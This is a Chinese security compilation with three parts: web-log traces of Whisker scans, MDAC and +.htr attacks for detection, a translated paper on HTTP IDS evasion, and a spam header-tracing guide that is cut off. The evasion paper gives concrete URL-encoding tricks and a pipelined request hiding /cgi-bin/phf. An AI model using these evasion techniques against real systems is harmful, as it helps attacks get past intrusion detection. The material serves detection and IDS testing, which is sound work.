16:49:01 11.1.1.50 GET /g2klogo_white_bgd.gif 200
16:49:01 11.1.1.50 GET /photo_contribs_sidebar.jpg 200
16:49:01 11.1.1.50 GET /header_fec_reqs.gif 200
16:49:01 11.1.1.50 GET /header_protecting_your_privacy.gif 200
注：11.1.1.50系统是窗口环境的客户端，用的是TeleportPro发出请求。
    注意：以上两个主机都要求robots.txt这个档，其实这个档案是网页管理员的工具，作用是防止wget和TeleportPro这类自动抓文件软件对某些网页从事抓取或搜寻的动作。如果有人提出robots.txt档的要求，常常代表是要镜射整个网站。但，TeleportPro和wget这两个软件都可以把要求robots.txt这个文件的功能取消。另一个侦测镜射动作的方式，是看看有没有同一个客户端IP反复提出资源要求。
黑客还可以用网页漏洞稽核软件：Whisker（网址：http://www.wiretrip.net/），来侦查网页服务器有没有安全后门（主要是检查有没有cgi-bin程序，这种程序会让系统产生安全漏洞）。以下是IIS和Apache网页服务器在执行Whisker后产生的部分记录文件。
IIS：
13:17:56 11.1.1.50 GET /SiteServer/Publishing/viewcode.asp 404
13:17:56 11.1.1.50 GET /msadc/samples/adctest.asp 200
13:17:56 11.1.1.50 GET /advworks/equipment/catalog_type.asp 404
13:17:56 11.1.1.50 GET /iisadmpwd/aexp4b.htr 200
13:17:56 11.1.1.50 HEAD /scripts/samples/details.idc 200
13:17:56 11.1.1.50 GET /scripts/samples/details.idc 200
13:17:56 11.1.1.50 HEAD /scripts/samples/ctguestb.idc 200
13:17:56 11.1.1.50 GET /scripts/samples/ctguestb.idc 200
13:17:56 11.1.1.50 HEAD /scripts/tools/newdsn.exe 404
13:17:56 11.1.1.50 HEAD /msadc/msadcs.dll 200
13:17:56 11.1.1.50 GET /scripts/iisadmin/bdir.htr 200
13:17:56 11.1.1.50 HEAD /carbo.dll 404
13:17:56 11.1.1.50 HEAD /scripts/proxy/ 403
13:17:56 11.1.1.50 HEAD /scripts/proxy/w3proxy.dll 500
13:17:56 11.1.1.50 GET /scripts/proxy/w3proxy.dll 500
Apache：
11.1.1.50 - - [08/Mar/2001:12:57:28 -0700] \"GET /cfcache.map HTTP/1.0\" 404 266
11.1.1.50 - - [08/Mar/2001:12:57:28 -0700] \"GET /cfide/Administrator/startstop.html HTTP/1.0\" 404 289
11.1.1.50 - - [08/Mar/2001:12:57:28 -0700] \"GET /cfappman/index.cfm HTTP/1.0\" 404 273
11.1.1.50 - - [08/Mar/2001:12:57:28 -0700] \"GET /cgi-bin/ HTTP/1.0\" 403 267
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] \"GET /cgi-bin/dbmlparser.exe HTTP/1.0\" 404 277
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] \"HEAD /_vti_inf.html HTTP/1.0\" 404 0
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] \"HEAD /_vti_pvt/ HTTP/1.0\" 404 0
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] \"HEAD /cgi-bin/webdist.cgi HTTP/1.0\" 404 0
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] \"HEAD /cgi-bin/handler HTTP/1.0\" 404 0
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] \"HEAD /cgi-bin/wrap HTTP/1.0\" 404 0
11.1.1.50 - - [08/Mar/2001:12:57:29 -0700] \"HEAD /cgi-bin/pfdisplay.cgi HTTP/1.0\" 404 0
    大家要侦测这类攻击的关键，就在于从单一IP地址发出大量的404 HTTP状态代码。只要注意到这类信息，就可以分析对方要求的资源；于是它们就会拼命要求提供 cgi-bin scripts（Apache 服务器的 cgi-bin 目录；IIS服务器的 scripts目录）。
小结：
    网页如果被人探访过，总会在记录文件留下什么线索。如果网页管理员警觉性够高，应该会把分析记录文件作为追查线索，并且在检查后发现网站真的有漏洞时，就能预测会有黑客攻击网站。
    接下来我要向大家示范两种常见的网页服务器攻击方式，分析服务器在受到攻击后黑客在记录文件中痕迹。
    （1）MDAC攻击
    MDAC攻击法可以让网页的客户端在IIS网页服务器上执行命令。如果有人开始攻击IIS服务器，记录文件就会记下客户端曾经呼叫msadcs.dll文档：
17:48:49 12.1.2.8 GET /msadc/msadcs.dll 200
17:48:51 12.1.2.8 POST /msadc/msadcs.dll 200
    （2）利用原始码漏洞
    第二种攻击方式也很普遍，就是会影响ASP和Java网页的暴露原始码漏洞。 最晚被发现的安全漏洞是 +.htr 臭虫，这个bug会显示ASP原始码。 如果有人利用这个漏洞攻击，就会在IIS的记录文件里面留下这些线索：
17:50:13 11.1.2.80 GET /default.asp+.htr 200
    网页常会只让有权限的使用者进入。接下来我们要让各位看 Apache的access_log记录文件会在登录失败时留下什么线索：
12.1.2.8 - user [08/Mar/2001:18:58:29 -0700] \"GET /private/ HTTP/1.0\" 401 462
注：第三栏里面的使用者名称是「user」。还有要注意HTTP的状态代号是401，代表非法存取。


[转载]两种基于HTTP的通用IDS躲避技术

作者：Daniel J. Roelker
概要:本文描述了两种可以基于HTTP协议的通用IDS躲避技术。这些技术包括旧式的HTTP躲避技术和新式的HTTP躲避技术。虽然躲避技术的类型不同，但它们都位于HTTP协议的请求URI部分，使用标准的HTTP/1.0和HTTP/1.1协议。请求URI地址中的躲避技术，通常与URL的编码有关系。对于Apache和IIS来说，存在多种合法的URL编码方式，文中会对每一种编码进行解释，并给出具体的例子。
本文还会使用HTTP协议的属性来展示对抗IDS的HTTP IDS躲避技术。通过阅读本文，读者会了解HTTP IDS躲避技术的原理，并且能够使用这些通用的原则和例子，实现符合自己需要的HTTP IDS躲避。
索引术语: 计算机安全、超文本传输协议、入侵检测、网络扫描
I．介绍
自从Rain Forest Puppy（RFP）的网络扫描器whisker首次公布于众以来［1］，HTTP IDS躲避技术已经逐渐流行。原先许多的HTTP IDS技术，都是从whisker的第一个版本出现的，包括简单的使用多个“/”的混淆目录技术，也包括更复杂的 － 在URL里插入“HTTP/1.0”以躲避那些搜索URL地址的IDS算法。
除了whisker中出现的躲避技术，还有其他类型的HTTP混淆方法。其中的一个混淆URL的方法就是使用绝对URI与相对URI［2］。虽然这些方法很有趣，但是都不如whisker扫描中使用的方法常见。
下一个流行的躲避方法也是RFP发布的，利用了微软互联网信息服务器（IIS）的UTF-8 unicode解码漏洞［3］。虽然是IIS的一个严重漏洞，它同时也给出了一个IDS未曾实现的URL编码方法。目前为止，大部分IDS仍然只是关注以前whisker的ASCII编码与目录遍历躲避技术，对Unicode的UTF-8编码却没有相应的保护。Eric Hacker对这种类型的HTTP IDS躲避技术，写了一篇非常专业的文章［4］。本文也会对Hacker文中的一些观点分析并解释。我们将继续Hacker的观点并深入了解：这些编码到底意味着什么，怎样才能造出更奇怪的编码。
本文介绍的其他种类的HTTP IDS躲避技术，使用了HTTP协议的属性。其中之一就是请求管道，以及使用内容编码头并将HTTP请求的参数放置到请求负载中的技术。
II．IDS HTTP协议分析
为了能够识别URL攻击，IDS必须检查HTTP的URL字段，看是否有恶意内容。两种最流行的IDS检测方法 － 模式匹配和协议分析 － 都需要检测URL中是否含有恶意内容（通过某种形式的模式匹配或者HTTP协议分析）。
两种方法的不同之处取决于你的目的，协议分析法只搜索HTTP流URL字段部分的恶意内容，而模式匹配法的搜索范围是整个数据包。
这两种方法在处理恶意URL之前的行为是类似的。之后，协议分析法只需要对URL字段添加合适的解码算法即可（它已经有内建的HTTP协议解码引擎）。而模式匹配算法并不知道需要对包的哪一部分正常化，因此需要与某种形式的协议分析相结合，找到相应的URL字段，才能使用相应的解码算法。某种形式的HTTP协议分析被添加到模式匹配法中，之后两者又行为类似了。
由于这些IDS方法的类似性，本文讨论的HTTP IDS躲避方法适用于各种类型的IDS。
第一种通用的IDS躲避方法是无效协议解析。举个例子，如果HTTP URL没有被正确发现，那么恶意URL就不能被检查出来，原因是：IDS没有发现URL，就不能对URL进行解码。
如果URL是正确的，IDS必须知道正确的解码算法，否则，仍然不能得到正确的URL。这就是第二种IDS躲避技术 － 无效协议字段解码。
A. 无效协议解析
使用无效协议解析IDS躲避技术，在RFP的whisker［1］和Bob Graham的SideStep［5］中给出了很多例子。这两个程序的区别在于：whisker使用了有缺陷的IDS协议解析来躲避检查，而SideStep使用正常的网络层协议来躲避IDS的协议解码器。
这种情况下，无效协议解析的躲避技术，对于HTTP协议的两个字段URL和URL参数是非常有效的。
例如：如果IDS的HTTP解码器假设每个请求包只有一个URL，那么一个包里包含两个URL，IDS就不能对第二个URL正确解析。这种技术在请求管道躲避技术中还会提到。
B．无效协议段解码
无效协议段解码可以测试IDS是否能够处理特定协议段的各种类型的解码。
如果是HTTP，主要的目标就是URL字段。对于IDS，需要测试它与HTTP RFC编码标准的符合程度，还要看是否能支持特定Web服务器的编码类型（例如IIS）。如果IDS不能对某种URL编码进行正确解码，攻击者就能利用该编码跳过对恶意URL的检测。
另一个HTTP无效协议段编码，是通过目录混淆，操纵目录属性来实现的。例如：对于/cgi-bin/phf，可以使用多个“/”而不是一个“/”来改变目录的“外貌”，或者使用目录遍历来混淆目录路径。需要注意的是，只有当IDS共同查找目录和文件时，目录混淆才能隐藏恶意URL。对于“/cgi-bin/phf”来说，如果IDS在“cgi-bin”目录中寻找“phf”文件时，我们的攻击例子才能奏效；如果IDS只寻找“phf”文件，目录混淆方法就不管用了。
III．无效协议段解码
URL混淆的前题是HTTP服务器所接受的各种类型的编码方法。实际上，大部分的编码方法都与IIS有关，为了文章的完整性，每种编码类型都对每种HTTP服务器进行测试。
利用URL编码来混淆Web攻击的思想依据，是大部分的IDS缺乏对不同类型Web服务器编码的足够分析。IDS的模式匹配与协议检测技术都存在问题。
对于URI请求的编码，只有两个RFC标准：十六进制编码和UTF－8 Unicode编码。这两种方法都使用“％”来表示编码。Apache也只支持这两种URL编码类型。
我们研究的大部分其他编码类型，都是服务器相关的，不符合RFC标准。微软的IIS Web服务器就属于这一类。在这一段也包括了URL混淆。
A．十六进制编码
十六进制编码方法是对URL进行编码的符合RFC要求的一种方式，也是最简单的URL编码方法。该方法只须在每个编码字符的十六进制字节值前，加一个“％”。如果我们想对大写的A进行十六进制编码（ASCII的十六进制值是0x41），编码的结果是：
· %41 = ‘A’
B．双百分号十六进制编码
双百分号十六进制编码是基于正常的十六进制编码。具体的方法是将百分号编码并后接信息编码的十六进制值。对大写的A进行编码，结果是：
· %2541 = ‘A’
你可以看到，百分号的编码是％25（等价于“％”），该值解码后变成了％41（等价于“A”）。这种编码方法受到微软IIS的支持。
C．双四位十六进制编码
双四位十六进制编码也是基于标准的十六进制编码，每个四位十六进制使用标准的十六进制编码方法。例如，对大写的A编码，结果是：
· %%34%31 = ‘A’
正常的A，十六进制编码是％41。双四位十六进制编码的方法是对每个四位进行编码，因此，4被编码为％34（这是数字4的ASCII值），第二个四位，1，被编码为％31（这是数字1的ASCII值）。
在第一次URL解码后，四位值变成了数字4和数字1。因为4和1前边有一个％，第二遍会将％41解码为大写的A。
D．首四位十六进制编码
首四位十六进制编码类似于双四位十六进制编码，不同之处在是只有第一个四位被编码。因此对于大写的A，双四位十六进制编码后为%%34%31，而按照首四位十六进制编码结果为：
· %%341 = ‘A’
像以前一样，第一次URL解码以后，％34被解码为数字4，因此第二次解码时的对象就成了％41，最后的结果依然是大写的A。
E．后四位十六进制编码
后四位十六进制编码与首四位十六进制编码完全相同，只不过只执行标准解码的后四位。因此大写A的编码结果是：
· %4%31 = ‘A’
第一次解码时，％31解码为数字1，第二次解码的对象就是％41，最终的结果是“A”。
F．UTF-8编码
1） UTF-8 介绍
UTF-8编码允许大于单字节（0－255）的值以字节流的形式表示。HTTP服务器使用UTF-8编码来表示大于ASCII代码范围之外（1－127）的Unicode码。
UTF-8工作的时候，字节的高位有特殊的含义。两字节的UTF-8和三字节的UTF-8序列表示如下：
110xxxxx 10xxxxxx (二字节序列)
1110xxxx 10xxxxxx 10xxxxxx (三字节序列)
UTF-8序列的第一字节是最重要的，通过它你可以知道这个UTF-8序列有多少字节，这是通过检查第一个0之前的1的个数来获得的。例子中，两字节的UTF-8序列，0之前的高位有两个1。第一个UTF-8字节0后边的位可以用来计算最终的值。后边的UTF-8字节格式相同，最高位是1，次高位是0，两位用于鉴别UTF-8，剩下的6位用来计算最终的值。
为了对URL进行UTF-8编码，每个UTF-8字节都是用一个百分号进行转换。一个例子是：%C0%AF = ‘/’.
2）Unicode码点简介
可以使用UTF-8编码来对Unicode码点值进行编码。码点值的范围通常是0－65535，HTTP URL中的任何大于127的码点值都使用UTF-8编码。
值为0－127的Unicode码点，将会映射成单独的ASCII值。这样，就剩下65408个值，可以表示其他语言中的字符（例如匈牙利语或者日语）。通常，这些语言有自己的Unicode代码页，从Unicode代码页中可以得到Unicode的码点值。每种Unicode代码页有自己独特的值，因此如果Unicode代码页变了，Unicode码点值所代表的字符也就不同了。这一概念对于下一节的URL编码是很重要的。
3）把躲避手段综合起来
IDS很难处理UTF-8编码的Unicode码点值，主要有三个原因：
第一个原因是，UTF-8编码可以将一个码点值或者ASCII值用不止一种方式表示，这在最近的Unicode标准中已经修正，但是在Web服务器中仍然很常见（包括Apache）。
例如，大写字母A可以用两字节的UTF-8序列编码：
· %C1%81 (11000001 10000001 = 1000001 = ‘A’)
同样，大写字母A也可以用三字节的UTF-8序列编码：
· %E0%81%81 ( 11100000 10000001 10000001 = 1000001 = ‘A’)
因此，使用UTF-8来对ASCII字符进行编码，会得到很多结果。
第二个原因，某些非ASCII的Unicode码点也可以映射为ASCII字符。例如，Unicode码点12001可以映射为大写字母A。如果想要知道哪一个码点可以映射到ASCII字符，要么阅读整个Unicode码的映射，要么对服务器测试所有不同的Unicode码点。目前，唯一这么做的Web服务器就是微软的IIS服务器。
第三个原因与第二个原因有关。如果Unicode码的映射改变或者未知，翻译后的Unicode码点就有可能是无效的。这一点很重要，这是因为中国、日本、波兰等国的IIS Web服务器使用不同的代码页，因此如果IDS不了解Web服务器使用的代码页，对URL进行UTF-8解码的结果就有可能是错误的。因此如果一个IDS不能对所监视服务器使用的Unicode代码页进行配置，对于IDS没有监测的代码页，任何Web服务器都是不受保护的。
G． UTF-8 空字节编码
UTF-8空字节编码与UTF-8编码类似，区别在于并不适用百分号进行转意，发送的字节就是实际的字节，如果A被编码，结果是：
· 0xC1 0x81 = ‘A’
这种类型的编码只被微软的IIS服务器所支持。
H．微软％U编码
微软的％U编码使用一种独特的方式来对Unicode码点值小与65535（或者两个字节）的对象编码。格式很简单，％U后边是Unicode码点值的4个四位值的十六进制：
· %UXXXX
例如，大写A可以编码成：
· %U0041 = ‘A’
这种编码被微软的IIS所支持。
I．不匹配编码
不匹配编码使用不同的编码方法来表示一个ASCII字符，不过这并不是一种单独的编码。
例如，我们使用微软的％U编码方法来对大写A进行编码。因为IIS要对URL进行双解码，我们可以使用其他的方法来对％U方法进行编码。比如，我们可以对％U方法中的“U”进行十六进制编码。这样，一个简单的％U0041就变成了％％550041。我们也可以对0041进行十六进制编码，或者使用别的编码方法。下边是一个针对IIS服务器的更加复杂的不匹配编码，使着分析这串字符到底代表什么ASCII字符：
· %U0025%550%303%37
IV． 无效协议解析
A．使用请求管道来实现URL躲避
请求管道的躲避方法，是一种无效协议解析的躲避方法。它使用了HTTP协议版本1.1的请求管道来使URI更加模糊。
请求管道标准允许Web客户端在一个数据包中发送多个请求，这个与HTTP的保持连接头有所不同，不要混淆。请求管道把所有的请求放在一个包中，而HTTP保持连接是为了保持TCP流一直开放，接受更多的请求。
我们使用请求管道特性在一个包中嵌入多个URL。大部分的IDS都能正确解析第一个URL，但基本上都不能正确解析其余的URL。这为躲避技术打开了大门，其他的URL虽然能被服务器解码，但是却被大多数的IDS忽略。比如，下列的数据负载使用了请求管道的技术来躲避对URL的检测：
· GET / HTTP/1.1\r\nHost: \r\n\r\nGET /foobar.html \r\nHost: \r\n\r\nGET /cgi%2Dbin%2Fph%66 HTTP/1.1\r\nHost: r\n
B． 使用POST和Content-Encoding参数进行躲避
另一个在攻击中包含恶意数据的HTTP协议字段，就是URL的参数字段。大部分数据库和cgi类型的攻击，都使用了该字段，而大部分的IDS都有相应的规则来检测恶意的参数键和参数值。一种躲避IDS的简单方法，就是使用与编码URL相同的技术来对参数进行编码，但大部分的IDS对参数字段也进行了解码。我们的方法是：使用POST请求将参数字段放到HTTP请求头的末尾。如果参数字段是名文形式，IDS就能很容易的发现恶意内容，因此我们使用了头选项，Content-Encoding，对参数字段进行BASE64编码。除非IDS对POST的内容也进行BASE64解码，攻击就有可能不断进行；即使IDS对POST实现了BASE64编码，这也是一个非常耗时的过程，因此如果发送大量包含巨型参数字段的POST请求，甚至会对IDS造成DOS攻击。
V．结论
HTTP IDS躲避技术有两大类，分别是无效协议解析和无效协议字段编码。如果IDS对HTTP协议字段的编码类型不了解，就不能正确的解码URL，攻击躲避的事件就会发生。这也是经常讨论的编码技术。如果IDS对HTTP缺乏足够的了解，仍有可能发生漏报。请求管道与内容编码躲避技术就是需要注意的。通过对IDS协议解码的研究发现，大部分的漏报都是使用了这两项技术


追踪垃圾邮件来源1.0

文章作者：Refdom
信息来源：www.xfocus.org
声明：安全焦点（xfocus security team）是非商业，全方位的网络安全组织，本文档
为安全焦点发布的技术文件，供自由技术传播，拒绝商业使用。文档的所有权归属安全焦点，
任何使用文档中所介绍技术者对其后果自行负责，安全焦点以及本文档作者不对其承担任何
责任。
XFocus Security Team.
Http://www.xfocus.org
_________________________________________________________________
Copyright? 2004 XFocus Security Team. All Rights Reserved.
Page 2 of 17
目录
1 简介......................................................... 3
2 邮件头分析.................................................... 3
3 邮件传输过程.................................................. 5
4 邮件头分析实例................................................ 7
5 邮件伪造.................................................... 10
6 垃圾邮件分析................................................. 11
实例分析一................................................... 11
垃圾邮件实例二............................................... 12
垃圾邮件实例三............................................... 15
7 总结........................................................ 16
8 参考........................................................ 17
XFocus Security Team.
Http://www.xfocus.org
_________________________________________________________________
Copyright? 2004 XFocus Security Team. All Rights Reserved.
Page 3 of 17
1 简介
电子邮件是最常用的网络应用之一，已经成为网络交流沟通的重要途径。但是，垃圾邮
件（spam）烦恼着大多数人，近来的调查显示，93%的被调查者都对他们接收到的大量垃
圾邮件非常不满。现在世界上超过50%的电子邮件都是垃圾邮件，但是只有少数组织承担过
责任。
垃圾邮件也造成了很有影响的安全问题，比如Phish 形式的欺诈。日益增加的垃圾邮
件每年都会造成20亿美元以上的损失。
针对垃圾邮件造成的问题越来越引起了人们的重视，在对付垃圾邮件方面，主要有两种
形式：防御与追踪。防御主要是强调对垃圾邮件的过滤或者是阻止垃圾邮件的产生，而追踪
则强调主动地追查垃圾邮件来源，并对其进行警告或者采取其他措施。
实际上，不仅仅是垃圾邮件，现在，很多的网络安全事件都会同邮件直接关联，比如病
毒传播、社会工程学、木马甚至一些反动的对国家安全造成危害的，都会通过邮件途径进行
散播。对于这类事件，追踪来源将显得尤其重要了。
本文将主要介绍对邮件的追踪方面的技术，主要以垃圾邮件为例。通过针对邮件头进行
分析，并查询到最接近源头的地址，这些技术并不一定能查询到最原始的源头，因为
spammer通常会修改邮件头以便能够隐藏自己。
2 邮件头分析
追踪邮件将很大程度依靠对邮件头的分析，RFC2076 列出了多数通用的消息头，也可
以参考RFC2822。
这里是介绍一小部分，这些部分可能能帮助我们进行分析：
From:
邮件从哪里发送的。很容易被伪造，在分析中，非常不可信任。
XFocus Security Team.
Http://www.xfocus.org
_________________________________________________________________
Copyright? 2004 XFocus Security Team. All Rights Reserved.
Page 4 of 17
From
不同于From:域，这行并不通常是邮件头的一部分，但是邮件转发程序经常插入
这一行，表明邮件什么时候被接收的。这一行总是邮件头的第一行，也可以被伪造，但
并不一定。
Reply-To:
回复时发送的地址。很容易被伪造，但常常提供线索，比如有些垃圾邮件经常用该
域指向一个合法的邮件地址，以便spammer能够接收到回复的邮件。
Return-Path:
与Reply-To:相同
Sender:
消息发送者。这通常都是伪造的
In-Reply-To:
在回复的时候可能存在，通常指向原邮件的Messgae-ID:
Message-ID:
邮件系统在创建邮件时的唯一标记（参考RFC822 、RFC1036）。也经常被伪造，
但如果是正常的，那么Message-ID:也通常能确定发送者所登录的系统，而不仅仅是
邮件被创建的系统。Message-ID 的结构同邮件服务器程序有直接关系，不同的邮件
服务器产生的ID 也不一样，有时相同邮件服务器的不同处理也会产生不一样的ID，
但是，多数邮件服务器都包含下面的一些内容：
·日期
·时间
·一个唯一标识
XFocus Security Team.
Http://www.xfocus.org
_________________________________________________________________
Copyright? 2004 XFocus Security Team. All Rights Reserved.
Page 5 of 17
·DNS
有的甚至包含邮件用户信息。下面是xfocus的一个Message-ID的形式：
20040409085748.91B1.SAN@xfocus.org
其中就是由日期、时间、标识、邮件用户和DNS构成。
Received:
最可信赖的头。一般会有几条，形成站点列表，这些信息表明达到目的地过程中邮
件所经过的服务器，该域都是邮件服务器自动插入的，spammer 可以伪造，但是在被
伪造的那个点之后的是无法伪造的。这个列表从下往上表明了服务器路径，最上面的一
条Received:是最终目的的系统或邮件服务器。每个邮件系统都有自己的Reveived:
样式，因此，也可以通过该行来鉴别接收邮件的系统，比如：
Received: from xxx.com by bjmx5 (Coremail) with SMTP id
d6wPALnjl0BHAMPI.2; Wed, 05 May 2004 02:41:14 +0800 (CST)
其中，xxx.com 就是发送邮件的机器的名称。这可能是被伪造的。而id 可能可
以帮助系统管理员来追踪垃圾邮件。一些系统会插入额外的信息，比如IP地址，如果
IP 地址和名称不能匹配就是被伪造了。如果，Received:这一行是伪造的，那么
spammer的插入点就应该是在上面一行。比如：
Received: from xxx.com (unknown [210.220.xxx.xxx])
by bjmx5 (Coremail) with SMTP id d6wPALnjl0BHAMPI.2
for <spammer@xxx.net>; Wed, 05 May 2004 02:41:14 +0800 (CST)
3 邮件传输过程
通常的邮件传递主要步骤由下面过程完成：
XFocus Security Team.
Http://www.xfocus.org
_________________________________________________________________
Copyright? 2004 XFocus Security Team. All Rights Reserved.
Page 6 of 17
sender -> MUA -> MTA -> (routing) -> MTA -> MDA -> {filtering} ->
MUA -> receiver
MUA：Mail User Agent，邮件客户端程序，比如Foxmail、Eudora、OUTLOOK、
mutt等。
MTA:Mail Transport Agent or Message Transfer Agent，消息传输代理。
这部分程序负责存储和转发、发送EMAIL。它从MUA或者其他的MTA 接收到邮件后，就存
在在本地，并分析收件人或者转发到其他的MTA。在处理过程中，它通常会编辑、添加邮件
头内容。比如Sendmail、Exchange等。
MDA：Mail Delivery Agent，邮件发送代理。这个程序负责将将邮件发送给用户。
MDA 通常处理某种特定发送操作。Unix 下典型的就是/bin/mail，它负责将邮件放到用
户本地邮箱中。
MUA通常编写的头部，可以参考RFC2822，主要是：
From: # 发送者
To: # 接收者
Cc: # 抄送接收者
Bcc: # 暗送接受者，不能在邮件头中看到，否者是不正常的
Subject: # 主题
Reply-To: # 回复时的接收者，可以同 From:地址不一样
Priority: # 优先级
Resent-To: # 转发时用
Resent-Cc: # 转发时用
Date: # MUA创建邮件时间
XFocus Security Team.
Http://www.xfocus.org
_________________________________________________________________
Copyright? 2004 XFocus Security Team. All Rights Reserved.
Page 7 of 17
X-[something]: # MUA 的个性化内容，比如X-Mailer: Microsoft
Outlook Express 6.00.2800.1158
在发送期间，可以MUA还会插入一些附加头信息，可以参考RFC2045。
当MTA接收到邮件后，可以插入的附加信息是：
From # 本地邮件才可能添加，或者是过滤器等增加的
Date # 时间
Message-Id: # 第一个MTA 创建，唯一的邮件标记
Received: # 邮件路径
Return-Path: # 表明怎么回到发送者
在MTA到MTA之间，一般每个MTA都会添加Received：，从而形成一个MTA的列表，
能够用于分析邮件传递的路径。
最终MTA 将邮件递交给MDA，可能添加的是：
Apparently-To: # 如果没有To:的时候添加
From # 本地邮件才参加
以上是通常情况下，邮件头不断被插入新的域的过程，但是，正常的传递过程，MTA
等都不会对邮件头某个域的内容进行修改，除非是发送者在MUA 阶段就进行了修改（如果
没有控制MTA 情况下）。对邮件来源的追踪，主要分析的就是received:区域的内容。
4 邮件头分析实例
下面是一个真实邮件头的例子，可以以此来为例分析（其中仅仅修改了邮件地址和IP
XFocus Security Team.
Http://www.xfocus.org
_________________________________________________________________
Copyright? 2004 XFocus Security Team. All Rights Reserved.
Page 8 of 17
地址）：
Return-Path: <wu@xxx.com.cn>
Delivered-To: refdom@xfocus.org
Received: from mail.xxx.com.cn (unknown [211.167.xxx.xxx]) by
xfocus.org (Postfix) with ESMTP id 590F2160A9 for
<refdom@xfocus.org>; Thu, 6 May 2004 16:48:46 +0800 (CST)
Received: from mail.xxx.com.cn ([127.0.0.1]) by localhost (mail
[127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 30543-01 for
<refdom@xfocus.org>; Thu, 6 May 2004 16:47:14 +0800 (CST)
Received: from risker.debian.org (unknown [218.18.xxx.xxx]) by
mail.xxx.com.cn (Postfix) with ESMTP id 32E0817DC17 for
<refdom@xfocus.org>; Thu, 6 May 2004 16:47:06 +0800 (CST)
Date: Wed, 5 May 2004 14:36:13 +0800
From: wlj <wu@xxx.com.cn>
To: refdom@xfocus.org
Subject:
Message-Id: <20040505143613.25dd214b.wu@xxx.com.cn>
Mime-Version: 1.0
Content-Type: multipart/mixed;
X-Virus-Scanned: by amavisd-new at xxx.com.cn
上面的邮件头，用蓝色标记的是在MUA 发送邮件时添加的头内容，其余的都是邮件经
过MTA过程中添加的。
检查Received:的时候将从下向上分析。
XFocus Security Team.
Http://www.xfocus.org
_________________________________________________________________
Copyright? 2004 XFocus Security Team. All Rights Reserved.
Page 9 of 17
Received: from risker.debian.org (unknown [218.18.xxx.xxx]) by
mail.xxx.com.cn (Postfix) with ESMTP id 32E0817DC17 for
<refdom@xfocus.org>; Thu, 6 May 2004 16:47:06 +0800 (CST)
这是第一个MTA 从MUA 接收邮件时插入的头内容。MUA 的机器名是
risker.debian.org（这不是MUA 的DNS，而只是他的机器名而已。），(unknown
[218.18.xxx.xxx])表示该机器的IP地址，但是查询的DNS是unknown的。该邮件被
mai.xxx.com.cn接收，邮件服务器采用Postfix，而且采用的是ESMTP（扩展的SMTP），
分配的ESMTP id是32E0817DC17，传递目标是refdom@xfocus.org，接收时间为Thu,
6 May 2004 16:47:06，时区是+0800 (CST)。
接下来的Received:为：
Received: from mail.xxx.com.cn ([127.0.0.1]) by localhost (mail
[127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 30543-01 for
<refdom@xfocus.org>; Thu, 6 May 2004 16:47:14 +0800 (CST)
这是邮件服务器内部程序进行的一个处理过程，因此IP 地址为127.0.0.1，并且是
localhost 处理，(amavisd-new, port 10024)表明这个处理程序是使用的
amavisd-new，amavisd-new是一个用于邮件服务器的杀毒、过滤等的接口。
第三个处理MTA是：
Received: from mail.xxx.com.cn (unknown [211.167.xxx.xxx]) by
xfocus.org (Postfix) with ESMTP id 590F2160A9 for
<refdom@xfocus.org>; Thu, 6 May 2004 16:48:46 +0800 (CST)
该过程表示邮件从服务器名为mail.xxx.com.cn 传递出去，IP 地址为
211.167.xxx.xxx，接收邮件的服务器是xfocus.org，采用Postfix服务程序，也通
常使用的ESMTP，传递的目标是refdom@xfocus.org，日期为Thu, 6 May 2004
16:48:46，时区是+0800(CST)
XFocus Security Team.
Http://www.xfocus.org
_________________________________________________________________
Copyright? 2004 XFocus Security Team. All Rights Reserved.
Page 10 of 17
从这个真实例子可以看出，邮件的传递过程是：
1、 risker.debian.org （MUA）
2、 mail.xxx.com.cn （MTA）——Thu, 6 May 2004 16:47:06
3、 localhost（MTA中的amavisd-new）——Thu, 6 May 2004 16:47:14
4、 xfocus.org（MTA）——Thu, 6 May 2004 16:48:46
整个过程经历了将近两分钟。
这是一个真实的正常邮件传递过程，但是实际上我们在追踪垃圾邮件过程中，这个传递
过程中的Received:存在被篡改的可能，并且实际中也大量出现，因此，需要首先判断哪
些信息是伪造的，哪些是真实的。
对于Received:，最后的站点是接收者自己的邮件服务器，因此，最后的Received:
是真实可靠的，除非自己的服务器已经不安全了。
5 邮件伪造
SMTP协议在创建的时候并没有考虑到未来的邮件会成为垃圾，因此，安全性很差，邮
件头可以任意创建、伪造和修改。
邮件头的伪造是很容易的，比如Real Name，Return Address。在一些MUA 上，
比如Outlook也可以进行更改。一般情况下，发送者的很多内容不会被邮件服务器检查，
服务器只关心接收者。
Spammer 当然需要进行伪造了。比如很多ISP 都采用TOS（Terms Od Service）
或者AUP(Acceptable Use ploicy)来禁止那些非法使用。spammer 通常用一些邮件
程序将邮件转发到其他的邮件服务器，并且修改和伪造邮件头，避免被追踪或者被ISP 处
理。
追踪邮件来源的关键就是识别伪造内容，并获得真实信息，根据真实信息进行查询。对
于Received:域来说，一般情况下，我们从下面的痕迹出发：
·时区出错。比如-0600(EST)，这就是错误的，EST是在-0500。
·时间误差，通常情况下，一个邮件传递过程不会太长，假如这个邮件传递经过了几天
XFocus Security Team.
Http://www.xfocus.org
_________________________________________________________________
Copyright? 2004 XFocus Security Team. All Rights Reserved.
Page 11 of 17
甚至更长时间，那么就可能是被伪造的（除非是传递过程中出错）。
·IP地址错误，比如出现XXX.XXX.XXX.0这样的地址。
6 垃圾邮件分析
实例分析一
这是一封真实的商业广告垃圾邮件，邮件内容是介绍一个婴儿用品公司的网站。当然，
邮件内容中有联系人、联系电话、联系email、邮编地址等东西，追查就很直接，但是本
文引用该邮件主要是简单分析邮件头内容。
邮件头内容如下：
Return-Path: <dfd@dfd.com>
Delivered-To: refdom@xfocus.org
Received: from dfd.com (unknown [221.232.11.40])
by xfocus.org (Postfix) with ESMTP id 399521C124
for <refdom@xfocus.org>; Mon, 24 May 2004 11:07:41 +0800 (CST)
From: "bbcss" <dfd@dfd.com>
Subject: =?GB2312?B?0KGxvrS0tPPStcrmtvmxptXQycw=?=
To: refdom@xfocus.org
Content-Type: multipart/mixed;
boundary="=_NextPart_2rfkindysadvnqw3nerasdf";charset="GB2312"
MIME-Version: 1.0
Reply-To: dfxc@vip.sina.com
